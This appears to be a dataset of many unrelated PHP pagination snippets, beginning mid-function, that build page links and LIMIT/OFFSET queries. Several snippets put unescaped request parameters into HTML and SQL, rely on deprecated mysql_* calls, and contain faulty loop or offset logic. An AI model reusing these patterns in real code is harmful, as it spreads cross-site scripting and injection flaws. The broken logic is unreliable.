\n\t\t$page = ($page == 0 ? 1 : $page); \n\t\t$start = ($page - 1) * $per_page; \n\t\t \n\t\t$prev = $page - 1; \n\t\t$next = $page + 1;\n\t\t \n\t\t$lastpage = ceil($total/$per_page);\n\t\t \n\t\t$lpm1 = $lastpage - 1; // //last page minus 1\n\t\t \n\t\t$pagination = \"\";\n\t\tif($lastpage > 1){ \n\t\t\t$pagination .= \"<ul class='pagination'>\";\n\t\t\t$pagination .= \"<li class='page_info'>Page {$page} of {$lastpage}</li>\";\n\t\t\t\t \n\t\t\t\tif ($page > 1) $pagination.= \"<li><a href='{$url}page={$prev}'>{$prevlabel}</a></li>\";\n\t\t\t\t \n\t\t\tif ($lastpage < 7 + ($adjacents * 2)){ \n\t\t\t\tfor ($counter = 1; $counter <= $lastpage; $counter++){\n\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t$pagination.= \"<li><a class='current'>{$counter}</a></li>\";\n\t\t\t\t\telse\n\t\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$counter}'>{$counter}</a></li>\"; \n\t\t\t\t}\n\t\t\t \n\t\t\t} elseif($lastpage > 5 + ($adjacents * 2)){\n\t\t\t\t \n\t\t\t\tif($page < 1 + ($adjacents * 2)) {\n\t\t\t\t\t \n\t\t\t\t\tfor ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++){\n\t\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t\t$pagination.= \"<li><a class='current'>{$counter}</a></li>\";\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$counter}'>{$counter}</a></li>\"; \n\t\t\t\t\t}\n\t\t\t\t\t$pagination.= \"<li>...</li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$lpm1}'>{$lpm1}</a></li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$lastpage}'>{$lastpage}</a></li>\"; \n\t\t\t\t\t\t \n\t\t\t\t} elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) {\n\t\t\t\t\t \n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page=1'>1</a></li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page=2'>2</a></li>\";\n\t\t\t\t\t$pagination.= \"<li>...</li>\";\n\t\t\t\t\tfor ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) {\n\t\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t\t$pagination.= \"<li><a class='current'>{$counter}</a></li>\";\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$counter}'>{$counter}</a></li>\"; \n\t\t\t\t\t}\n\t\t\t\t\t$pagination.= \"<li>..</li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$lpm1}'>{$lpm1}</a></li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$lastpage}'>{$lastpage}</a></li>\"; \n\t\t\t\t\t \n\t\t\t\t} else {\n\t\t\t\t\t \n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page=1'>1</a></li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page=2'>2</a></li>\";\n\t\t\t\t\t$pagination.= \"<li>..</li>\";\n\t\t\t\t\tfor ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++) {\n\t\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t\t$pagination.= \"<li><a class='current'>{$counter}</a></li>\";\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$counter}'>{$counter}</a></li>\"; \n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t \n\t\t\t\tif ($page < $counter - 1) {\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page={$next}'>{$nextlabel}</a></li>\";\n\t\t\t\t\t$pagination.= \"<li><a href='{$url}page=$lastpage'>{$lastlabel}</a></li>\";\n\t\t\t\t}\n\t\t\t \n\t\t\t$pagination.= \"</ul>\"; \n\t\t}\n\t\t \n\t\treturn $pagination;\n\t}", "protected abstract function getLimitOffsetClause($limit, $offset = 0);", "public function page_news($offset)//每頁顯示的新聞列表\r\n {\r\n $query = $this->db->order_by('date_time','DESC')->get_where('news',array('state' => '0'),11,$offset);\r\n return $query->result_array();\r\n }", "public function pagination(){\n\t\treturn $this->dataInfos['XMLPM']['PAGINATION'];\n\t}", "function getLimit()\n\t{\n\t\tif ($this->total_records == 0)\n\t\t{\n\t\t\t$lastpage = 0;\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$lastpage = ceil($this->total_records/$this->size);\n\t\t}\n\t\t\n\t\t$page = $this->page;\t\t\n\t\t\n\t\tif ($this->page < 1)\n\t\t{\n\t\t\t$page = 1;\n\t\t} \n\t\telse if ($this->page > $lastpage && $lastpage > 0)\n\t\t{\n\t\t\t$page = $lastpage;\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$page = $this->page;\n\t\t}\n\t\t\n\t\t$sql = ($page - 1) * $this->size . \",\" . $this->size;\n\t\t\n\t\treturn $sql;\n\t}", "function Pagination() \n { \n $this->current_page = 1; \n $this->mid_range = 7; \n $this->items_per_page = (!empty($_GET['ipp'])) ? $_GET['ipp']:$this->default_ipp; \n }", "function limitResult($sql, $limit,$offset=false) {\n\t\tif($offset === false || $offset == 0) {\n\t\t\tif ( stripos($sql, \"SELECT\") === false ) {\n\t\t\t\treturn \"TOP {$limit} \" . $sql;\n\t\t\t} else {\n\t\t\t\treturn preg_replace(\"/(^\\s*select\\s+(distinctrow|distinct)?)/i\", \"\\\\1 TOP {$limit}\", $sql);\n\t\t\t}\t\t\n\t\t} else {\n\t\t $orderby = stristr($sql, 'ORDER BY');\n\t if ($orderby !== false) $order = str_ireplace('ORDER BY', '', $orderby);\n\t $sql = preg_replace('/(^\\s*select\\s+(distinctrow|distinct)?)/i', '\\\\1 TOP(10000000) ', $sql);\n\t $sql = '\n\t \tSELECT * FROM (\n\t \t SELECT sub2.*, ROW_NUMBER() OVER(ORDER BY sub2.line2) AS line3 FROM (\n\t \t SELECT 1 AS line2, sub1.* FROM (' . $sql . ') AS sub1\n\t \t ) as sub2\n\t \t) AS sub3 \n\t \tWHERE line3 BETWEEN ' . ($limit) . ' AND ' . ($offset + $limit);\n\t if ($orderby !== false) {\n\t \t$sql .= ' ORDER BY ' . $order;\n\t }\t\t\t\n\t return $sql;\n\t\t}\n\t}", "public function getPaginatedList($offset, $limit, $criteria = array());", "public function getOffset(): int\n {\n return $this->pageIndex * $this->pageSize;\n }", "function db_paginate_sql($page_number){\n\t\tglobal $config;\n\t\treturn(\"\\n LIMIT \".$config['pagination_limit'].\" OFFSET \".($config['pagination_limit']*$page_number).\" \");\n\t}", "public function getPagination()\n {\n return $this->getRange();\n }", "function pagination($start,$limit,$targetpage,$tbl_name){\n\n\t// How many adjacent pages should be shown on each side?\n\t$adjacents = 3;\n\t\n\t/* \n\t First get total number of rows in data table. \n\t If you have a WHERE clause in your query, make sure you mirror it here.\n\t*/\n\t$query = \"SELECT * FROM $tbl_name\";\n\t$total_pages = mysql_num_rows(mysql_query($query));\n\t\n\t/* Setup vars for query. */\n\t//$targetpage = \"index.php\"; \t//your file name (the name of this file)\n\t//$limit = 5; \t\t\t\t\t\t\t\t//how many items to show per page\n $page = !empty($_GET['page']) ? $_GET['page'] : 1;\n\t$start = !empty($_GET['page']) ? $_GET['page'] : 1;\n\n\t/* Get data. */\n\t//$sql = \"SELECT column_name FROM $tbl_name LIMIT $start, $limit\";\n\t//$result = mysql_query($sql);\n\t\n\t/* Setup page vars for display. */\n\tif ($page == 0) $page = 1;\t\t\t\t\t//if no page var is given, default to 1.\n\t$prev = $page - 1;\t\t\t\t\t\t\t//previous page is page - 1\n\t$next = $page + 1;\t\t\t\t\t\t\t//next page is page + 1\n\t$lastpage = ceil($total_pages/$limit);\t\t//lastpage is = total pages / items per page, rounded up.\n\t$lpm1 = $lastpage - 1;\t\t\t\t\t\t//last page minus 1\n\t\n\t/* \n\t\tNow we apply our rules and draw the pagination object. \n\t\tWe're actually saving the code to a variable in case we want to draw it more than once.\n\t*/\n\t$pagination = \"\";\n\tif($lastpage > 1)\n\t{\t\n\t\t$pagination .= \"<div class=\\\"pagination\\\">\";\n\t\t//previous button\n\t\tif ($page > 1) \n\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$prev\\\">Previous</a>\";\n\t\telse\n\t\t\t$pagination.= \"<span class=\\\"disabled\\\"></span>\";\t\n\t\t\n\t\t//pages\t\n\t\tif ($lastpage < 7 + ($adjacents * 2))\t//not enough pages to bother breaking it up\n\t\t{\t\n\t\t\tfor ($counter = 1; $counter <= $lastpage; $counter++)\n\t\t\t{\n\t\t\t\tif ($counter == $page)\n\t\t\t\t\t$pagination.= \"<span class=\\\"current\\\">$counter</span>\";\n\t\t\t\telse\n\t\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$counter\\\">$counter</a>\";\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\telseif($lastpage > 5 + ($adjacents * 2))\t//enough pages to hide some\n\t\t{\n\t\t\t//close to beginning; only hide later pages\n\t\t\tif($page < 1 + ($adjacents * 2))\t\t\n\t\t\t{\n\t\t\t\tfor ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++)\n\t\t\t\t{\n\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t$pagination.= \"<span class=\\\"current\\\">$counter</span>\";\n\t\t\t\t\telse\n\t\t\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$counter\\\">$counter</a>\";\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t$pagination.= \"...\";\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$lpm1\\\">$lpm1</a>\";\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$lastpage\\\">$lastpage</a>\";\t\t\n\t\t\t}\n\t\t\t//in middle; hide some front and some back\n\t\t\telseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2))\n\t\t\t{\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=1\\\">1</a>\";\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=2\\\">2</a>\";\n\t\t\t\t$pagination.= \"...\";\n\t\t\t\tfor ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++)\n\t\t\t\t{\n\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t$pagination.= \"<span class=\\\"current\\\">$counter</span>\";\n\t\t\t\t\telse\n\t\t\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$counter\\\">$counter</a>\";\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t$pagination.= \"...\";\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$lpm1\\\">$lpm1</a>\";\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$lastpage\\\">$lastpage</a>\";\t\t\n\t\t\t}\n\t\t\t//close to end; only hide early pages\n\t\t\telse\n\t\t\t{\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=1\\\">1</a>\";\n\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=2\\\">2</a>\";\n\t\t\t\t$pagination.= \"...\";\n\t\t\t\tfor ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++)\n\t\t\t\t{\n\t\t\t\t\tif ($counter == $page)\n\t\t\t\t\t\t$pagination.= \"<span class=\\\"current\\\">$counter</span>\";\n\t\t\t\t\telse\n\t\t\t\t\t\t$pagination.= \"<a href=\\\"$targetpage?page=$counter\\\">$counter</a>\";\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//next button\n\t\tif ($page < $counter - 1) \n\t\t $pagination.= \"<a href=\\\"$targetpage?page=$next\\\">next </a>\";\n\t\telse\n\t\t\t$pagination.= \"<span class=\\\"disabled\\\"></span>\";\n\t\t$pagination.= \"</div>\\n\";\n \n\t}\n \n return $pagination;\n \n}", "public function limit($limit,$offset);", "function buildNavigation($pageNum_Recordset1,$totalPages_Recordset1,$prev_Recordset1,$next_Recordset1,$separator=\" | \",$max_links=10, $show_page=true)\n{\n GLOBAL $maxRows_rs_novinky,$totalRows_rs_novinky;\n\t$pagesArray = \"\"; $firstArray = \"\"; $lastArray = \"\";\n\tif($max_links<2)$max_links=2;\n\tif($pageNum_Recordset1<=$totalPages_Recordset1 && $pageNum_Recordset1>=0)\n\t{\n\t\tif ($pageNum_Recordset1 > ceil($max_links/2))\n\t\t{\n\t\t\t$fgp = $pageNum_Recordset1 - ceil($max_links/2) > 0 ? $pageNum_Recordset1 - ceil($max_links/2) : 1;\n\t\t\t$egp = $pageNum_Recordset1 + ceil($max_links/2);\n\t\t\tif ($egp >= $totalPages_Recordset1)\n\t\t\t{\n\t\t\t\t$egp = $totalPages_Recordset1+1;\n\t\t\t\t$fgp = $totalPages_Recordset1 - ($max_links-1) > 0 ? $totalPages_Recordset1 - ($max_links-1) : 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t$fgp = 0;\n\t\t\t$egp = $totalPages_Recordset1 >= $max_links ? $max_links : $totalPages_Recordset1+1;\n\t\t}\n\t\tif($totalPages_Recordset1 >= 1) {\n\t\t\t#\t------------------------\n\t\t\t#\tSearching for $_GET vars\n\t\t\t#\t------------------------\n\t\t\t$_get_vars = '';\t\t\t\n\t\t\tif(!empty($_GET) || !empty($_GET)){\n\t\t\t\t$_GET = empty($_GET) ? $_GET : $_GET;\n\t\t\t\tforeach ($_GET as $_get_name => $_get_value) {\n\t\t\t\t\tif ($_get_name != \"pageNum_rs_novinky\") {\n\t\t\t\t\t\t$_get_vars .= \"&$_get_name=$_get_value\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$successivo = $pageNum_Recordset1+1;\n\t\t\t$precedente = $pageNum_Recordset1-1;\n\t\t\t$firstArray = ($pageNum_Recordset1 > 0) ? \"<a href=\\\"$_SERVER[PHP_SELF]?pageNum_rs_novinky=$precedente$_get_vars\\\">$prev_Recordset1</a>\" : \"$prev_Recordset1\";\n\t\t\t# ----------------------\n\t\t\t# page numbers\n\t\t\t# ----------------------\n\t\t\tfor($a = $fgp+1; $a <= $egp; $a++){\n\t\t\t\t$theNext = $a-1;\n\t\t\t\tif($show_page)\n\t\t\t\t{\n\t\t\t\t\t$textLink = $a;\n\t\t\t\t} else {\n\t\t\t\t\t$min_l = (($a-1)*$maxRows_rs_novinky) + 1;\n\t\t\t\t\t$max_l = ($a*$maxRows_rs_novinky >= $totalRows_rs_novinky) ? $totalRows_rs_novinky : ($a*$maxRows_rs_novinky);\n\t\t\t\t\t$textLink = \"$min_l - $max_l\";\n\t\t\t\t}\n\t\t\t\t$_ss_k = floor($theNext/26);\n\t\t\t\tif ($theNext != $pageNum_Recordset1)\n\t\t\t\t{\n\t\t\t\t\t$pagesArray .= \"<a href=\\\"$_SERVER[PHP_SELF]?pageNum_rs_novinky=$theNext$_get_vars\\\">\";\n\t\t\t\t\t$pagesArray .= \"$textLink</a>\" . ($theNext < $egp-1 ? $separator : \"\");\n\t\t\t\t} else {\n\t\t\t\t\t$pagesArray .= \"$textLink\" . ($theNext < $egp-1 ? $separator : \"\");\n\t\t\t\t}\n\t\t\t}\n\t\t\t$theNext = $pageNum_Recordset1+1;\n\t\t\t$offset_end = $totalPages_Recordset1;\n\t\t\t$lastArray = ($pageNum_Recordset1 < $totalPages_Recordset1) ? \"<a href=\\\"$_SERVER[PHP_SELF]?pageNum_rs_novinky=$successivo$_get_vars\\\">$next_Recordset1</a>\" : \"$next_Recordset1\";\n\t\t}\n\t}\n\treturn array($firstArray,$pagesArray,$lastArray);\n}", "public function getPaginate()\n {\n /* Clone the original builder */\n $builder = clone $this->_builder;\n $totalBuilder = clone $builder;\n\n $limit = $this->_limitRows;\n $numberPage = $this->_page;\n\n if (is_null($numberPage) === true) {\n $numberPage = 1;\n }\n\n $prevNumberPage = $numberPage - 1;\n $number = $limit * $prevNumberPage;\n\n //Set the limit clause avoiding negative offsets\n if ($number < $limit) {\n $builder->limit($limit);\n } else {\n $builder->limit($limit, $number);\n }\n\n $query = $builder->getQuery();\n\n //Change the queried columns by a COUNT(*)\n $totalBuilder->columns('COUNT(*) [rowcount]');\n\n //Remove the 'ORDER BY' clause, PostgreSQL requires this\n $totalBuilder->orderBy(null);\n\n //Obtain the PHQL for the total query\n $totalQuery = $totalBuilder->getQuery();\n\n //Obtain the result of the total query\n $result = $totalQuery->execute();\n $row = $result->getFirst();\n\n $totalPages = $row['rowcount'] / $limit;\n $intTotalPages = (int)$totalPages;\n\n if ($intTotalPages !== $totalPages) {\n $totalPages = $intTotalPages + 1;\n }\n\n $page = new stdClass();\n $page->first = 1;\n $page->before = ($numberPage === 1 ? 1 : ($numberPage - 1));\n $page->items = $query->execute();\n $page->next = ($numberPage < $totalPages ? ($numberPage + 1) : $totalPages);\n $page->last = $totalPages;\n $page->current = $numberPage;\n $page->total_pages = $totalPages;\n $page->total_items = (int)$row['rowcount'];\n\n return $page;\n }", "function paging_2($str,$width,$course)\n{\n global $currenttotal,$limit,$offset,$showed,$last,$PHP_SELF,$align;\n\n if($currenttotal>0)\n {\n #### PAGING STARTS\n print \"<table width='$width' cellpadding='2' cellspacing='0' align='right'>\";\n\tprint \"<tr>\";\n\t#---------------------------------------\n print \"<td width='30%' valign='top' align='right'>\";\n if($offset>=$limit)\n print \"<a href='$PHP_SELF?offset=$last&currenttotal=$currenttotal&course=\".$course.\"' class='pagingtextlink' style='font-size:12px'>Previous</a>&nbsp;&nbsp;&nbsp;&nbsp;\";\n\tif(isset($align))\n\t{\n print \"<span class='astro'>Pic:</span>&nbsp;&nbsp; \";\n\t}\n\telse\n\t{\n print \"<span class='gottopage' style='font-size:12px'>Page:</span>&nbsp;&nbsp; \";\n\t}\n\t$pages=$currenttotal%$limit;\n\tif($pages==0)\n $pages=$currenttotal/$limit;\n\telse\n\t{\n $pages=$currenttotal/$limit;\n $pages=(int)$pages+1;\n\t}\t\t\n\t$m=\"0\";\n\tfor($i=1;$i<=$pages;$i++)\n\t{\n $pageoff=($i-1)*$limit;\n if($showed==($i*$limit))\n {\n\t\tprint \"<span class'pagingtext' style='font-size:12px'>$i </span>&nbsp;\";\n }\n else\n {\n\t\tprint \"<a href='$PHP_SELF?offset=$pageoff&currenttotal=$currenttotal&course=\".$course.\"' class='pagingtextlink' style='font-size:12px'>$i</a>&nbsp;\";\n }\n if($m==\"29\")\n {\n\t\t$m=\"0\";\n\t\tprint \"<br>\";\n }\n\t\t$m++;\n\t}\n\t#---------------------------------------\n\tprint \"&nbsp;&nbsp;&nbsp;&nbsp;<a href='$PHP_SELF?offset=$showed&currenttotal=$currenttotal&course=\".$course.\"' class='pagingtextlink' style='font-size:12px'>\";\n\tif($showed<$currenttotal)\n print \"Next</a>\";\n\tprint \"</td>\";\n\t#---------------------------------------\n\tprint \"</tr>\";\n\tprint \"</table><br>\";\n#### PAGING ENDS\n }\n\n}", "function get_paged_list($limit = 10, $offset = 0){\n\t $this->db->join('department', 'department.id = employee.Department');\n $this->db->order_by('EmployeeId','asc');\n return $this->db->get($this->tbl_Employeeinfo, $limit, $offset);\n }", "function paginate_list($obj, $data, $query_code, $variable_array=array(), $rows_per_page=NUM_OF_ROWS_PER_PAGE)\n{\n\t#determine the page to show\n\tif(!empty($data['p'])){\n\t\t$data['current_list_page'] = $data['p'];\n\t} else {\n\t\t#If it is an array of results\n\t\tif(is_array($query_code))\n\t\t{\n\t\t\t$obj->session->set_userdata('search_total_results', count($query_code));\n\t\t}\n\t\t#If it is a real query\n\t\telse\n\t\t{\n\t\t\tif(empty($variable_array['limittext']))\n\t\t\t{\n\t\t\t\t$variable_array['limittext'] = '';\n\t\t\t}\n\t\t\t\n\t\t\t#echo $obj->Query_reader->get_query_by_code($query_code, $variable_array );\n\t\t\t#exit($query_code);\n\t\t\t$list_result = $obj->db->query($obj->Query_reader->get_query_by_code($query_code, $variable_array ));\n\t\t\t$obj->session->set_userdata('search_total_results', $list_result->num_rows());\n\t\t}\n\t\t\n\t\t$data['current_list_page'] = 1;\n\t}\n\t\n\t$data['rows_per_page'] = $rows_per_page;\n\t$start = ($data['current_list_page']-1)*$rows_per_page;\n\t\n\t#If it is an array of results\n\tif(is_array($query_code))\n\t{\n\t\t$data['page_list'] = array_slice($query_code, $start, $rows_per_page);\n\t}\n\telse\n\t{\n\t\t$limittxt = \" LIMIT \".$start.\" , \".$rows_per_page;\n\t\t$list_result = $obj->db->query($obj->Query_reader->get_query_by_code($query_code, array_merge($variable_array, array('limittext'=>$limittxt)) ));\n\t\t$data['page_list'] = $list_result->result_array();\n\t}\n\t\n\treturn $data;\n}", "function pagination($sql_pagination,$num_results_per_page){\n\tglobal $paginate, $result, $pageQuery;\t\n\t$targetpage = htmlspecialchars($_SERVER['PHP_SELF'] );\n\t$qs =\t'';\n\tif (!empty($_SERVER['QUERY_STRING'])) {\n\t\t$parts = explode(\"&\", $_SERVER['QUERY_STRING']);\n\t\t$newParts = array();\n\t\tforeach ($parts as $val) {\n\t\t\tif (stristr($val, 'page') == false) {\n\t\t\t\tarray_push($newParts, $val);\n\t\t\t}\n\t\t}\n\t\tif (count($newParts) != 0) {\n\t\t\t$qs = \"&\".implode(\"&\", $newParts);\n\t\t} \n\t}\n\t\n\t$limit = $num_results_per_page; \n\t$query = $sql_pagination;\n\t$total_pages = mysql_query($query);\n\t$counts\t\t=\tmysql_num_rows($total_pages);\t\n\t$total_pages = $counts;\n\t$lastpage = ceil($total_pages/$limit);\t\t\n\t$LastPagem1 = $lastpage - 1;\t\n\t$stages = 2;\n\t$page = mysql_real_escape_string($_GET['page']);\n\tif($page){\n\t\t$start = ($page - 1) * $limit; \n\t}else{\n\t\t$start = 0;\t\n\t\t}\n\t\n // Get page data\n\t$pageQuery = $query.\" limit $start,$limit\";\n\t//$result = mysql_query($pageQuery);\n\t\n\t// Initial page num setup\n\tif ($page == 0){$page = 1;}\n\t$prev = $page - 1;\t\n\t$next = $page + 1;\t\t\t\t\t\t\t\n\t\n\t\n\t$paginate = '';\n\tif($lastpage > 1)\n\t{\t\n\t\t$paginate .= \"<div class='paginate'>\";\n\t\t// Previous\n\t\tif ($page > 1){\n\t\t\t$paginate.= \"<a href='$targetpage?page=$prev$qs'>previous</a>\";\n\t\t}else{\n\t\t\t$paginate.= \"<span class='disabled'>previous</span>\";\t}\n\t\t\n\t\t// Pages\t\n\t\tif ($lastpage < 7 + ($stages * 2))\t// Not enough pages to breaking it up\n\t\t{\t\n\t\t\tfor ($counter = $lastpage; $counter >= 1; $counter--)\n\t\t\t{\n\t\t\t\tif ($counter == $page){\n\t\t\t\t\t$paginate.= \"<span class='current'>$counter</span>\";\n\t\t\t\t}else{\n\t\t\t\t\t$paginate.= \"<a href='$targetpage?page=$counter$qs'>$counter</a>\";}\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\telseif($lastpage > 5 + ($stages * 2))\t// Enough pages to hide a few?\n\t\t{\n\t\t\t// Beginning only hide later pages\n\t\t\tif($page < 1 + ($stages * 2))\t\t\n\t\t\t{\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=$lastpage$qs'>$lastpage</a>\";\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=$LastPagem1$qs'>$LastPagem1</a>\";\n\t\t\t\t$paginate.= \"...\";\n\t\t\t\tfor ($counter = 4 + ($stages * 2); $counter >= 1; $counter--)\n\t\t\t\t{\n\t\t\t\t\tif ($counter == $page){\n\t\t\t\t\t\t$paginate.= \"<span class='current'>$counter</span>\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$paginate.= \"<a href='$targetpage?page=$counter$qs'>$counter</a>\";}\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t}\n\t\t\t// Middle hide some front and some back\n\t\t\telseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))\n\t\t\t{\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=$lastpage$qs'>$lastpage</a>\";\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=$LastPagem1$qs'>$LastPagem1</a>\";\n\t\t\t\t$paginate.= \"...\";\n\t\t\t\tfor ($counter =$page + $stages; $counter <= $page - $stages; $counter--)\n\t\t\t\t{\n\t\t\t\t\tif ($counter == $page){\n\t\t\t\t\t\t$paginate.= \"<span class='current'>$counter</span>\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$paginate.= \"<a href='$targetpage?page=$counter$qs'>$counter</a>\";}\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t$paginate.= \"...\";\t\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=2$qs'>2</a>\";\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=1$qs'>1</a>\";\n\t\t\t\t\n\t\t\t}\n\t\t\t// End only hide early pages\n\t\t\telse\n\t\t\t{\n\t\t\t\t\n\t\t\t\tfor ($counter =$lastpage; $counter >= $lastpage - (2 + ($stages * 2)) ; $counter--)\n\t\t\t\t{\n\t\t\t\t\tif ($counter == $page){\n\t\t\t\t\t\t$paginate.= \"<span class='current'>$counter</span>\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$paginate.= \"<a href='$targetpage?page=$counter$qs'>$counter</a>\";}\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t$paginate.= \"...\";\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=2$qs'>2</a>\";\n\t\t\t\t$paginate.= \"<a href='$targetpage?page=1$qs'>1</a>\";\n\t\t\t}\n\t\t}\n\t\t\t\t\t\n\t\t\t\t// Next\n\t\tif ($page < $counter - 1){ \n\t\t\t$paginate.= \"<a href='$targetpage?page=$next$qs'>next</a>\";\n\t\t}else{\n\t\t\t$paginate.= \"<span class='disabled'>next</span>\";\n\t\t\t}\n\t\t\t\n\t\t$paginate.= \"</div>\";\t\t\n\t\n\t\n}\n //echo $total_pages.'Results';\n // pagination\n $paginate;\n}", "public function getOffset()\n {\n return ($this->number_of_items_per_page * $this->current_page) - $this->number_of_items_per_page;\n }", "function produitLoadResumePagination($db,$begin,$nbperpage=10){\n $begin = (int) $begin;\n $nbperpage = (int) $nbperpage;\n $req = \"SELECT P.idproduit, P.modele, LEFT(P.descriptif,300) AS modele, C.genre, I.legend, GROUP_CONCAT(I.legend SEPARATOR '|||') AS theimages_titre, GROUP_CONCAT(C.genre SEPARATOR '|||') AS genre\nFROM produits P \n LEFT JOIN produits_has_categorie PHC \n ON PHC.produits_id = P.idproduit\n LEFT JOIN images I \n ON I.idmage = produits_idproduit\nGROUP BY P.idproduit\nORDER BY P.prix DESC \nLIMIT $begin, $nbperpage;\";\n $recup = mysqli_query($db,$req);\n // si au moins 1 résultat\n if(@mysqli_num_rows($recup)){\n // on utilise le fetch all car il peut y avoir plus d'un résultat\n return mysqli_fetch_all($recup,MYSQLI_ASSOC);\n }\n // no result\n return false;\n}", "public function listado($offset=0){\r\n\t\t$accion \t\t= $this->tab['listado'];\r\n\t\t$limit \t\t\t= $this->limit_max;\r\n\t\t$uri_view \t\t= $this->modulo.'/'.$accion;\r\n\t\t$url_link \t\t= $this->modulo.'/'.$this->submodulo.'/'.$accion;\r\n\t\t$buttonTPL \t\t= '';\r\n\r\n\t\t$filtro = ($this->ajax_post('filtro')) ? $this->ajax_post('filtro') : \"\";\r\n\t\t$sqlData = array(\r\n\t\t\t 'buscar' => $filtro\r\n\t\t\t,'offset' => $offset\r\n\t\t\t,'limit' => $limit\r\n\t\t);\r\n\t\t$uri_segment \t\t\t = $this->uri_segment(); \r\n\t\t$total_rows \t\t\t = count($this->db_model->db_get_data($sqlData));\r\n\t\t$sqlData['aplicar_limit'] = false;\r\n\t\t$list_content \t\t\t = $this->db_model->db_get_data($sqlData);\r\n\t\t$url \t\t\t = base_url($url_link);\r\n\t\t$paginador \t\t\t = $this->pagination_bootstrap->paginator_generate($total_rows, $url, $limit, $uri_segment, array('evento_link' => 'onclick', 'function_js' => 'load_content', 'params_js'=>'1'));\r\n\t\tif($total_rows){\r\n\t\t\tforeach ($list_content as $value) {\r\n\t\t\t\t// Evento de enlace\r\n\t\t\t\t// Acciones\r\n\t\t\t\t$accion_id \t\t\t\t\t\t= $value['id_compras_orden'];\r\n\t\t\t\t$btn_acciones['agregar'] \t\t= '<span id=\"ico-articulos_'.$accion_id.'\" class=\"ico_detalle fa fa-search-plus\" onclick=\"articulos('.$accion_id.')\" title=\"'.$this->lang_item(\"agregar_articulos\").'\"></span>';\r\n\t\t\t\t$acciones = implode('&nbsp;&nbsp;&nbsp;',$btn_acciones);\r\n\t\t\t\t// Datos para tabla\r\n\t\t\t\t$tbl_data[] = array('id' => $value['id_compras_orden'],\r\n\t\t\t\t\t\t\t\t\t'orden_num' => $value['orden_num'],\r\n\t\t\t\t\t\t\t\t\t'descripcion' => $value['descripcion'],\r\n\t\t\t\t\t\t\t\t\t'timestamp' \t => $value['timestamp'],\r\n\t\t\t\t\t\t\t\t\t'entrega_fecha' => $value['entrega_fecha'],\r\n\t\t\t\t\t\t\t\t\t'estatus' \t => $value['estatus'],\r\n\t\t\t\t\t\t\t\t\t'acciones' \t\t => $acciones\r\n\t\t\t\t\t\t\t\t\t);\r\n\t\t\t}\r\n\t\t\t// Plantilla\r\n\t\t\t$tbl_plantilla = set_table_tpl();\r\n\t\t\t// Titulos de 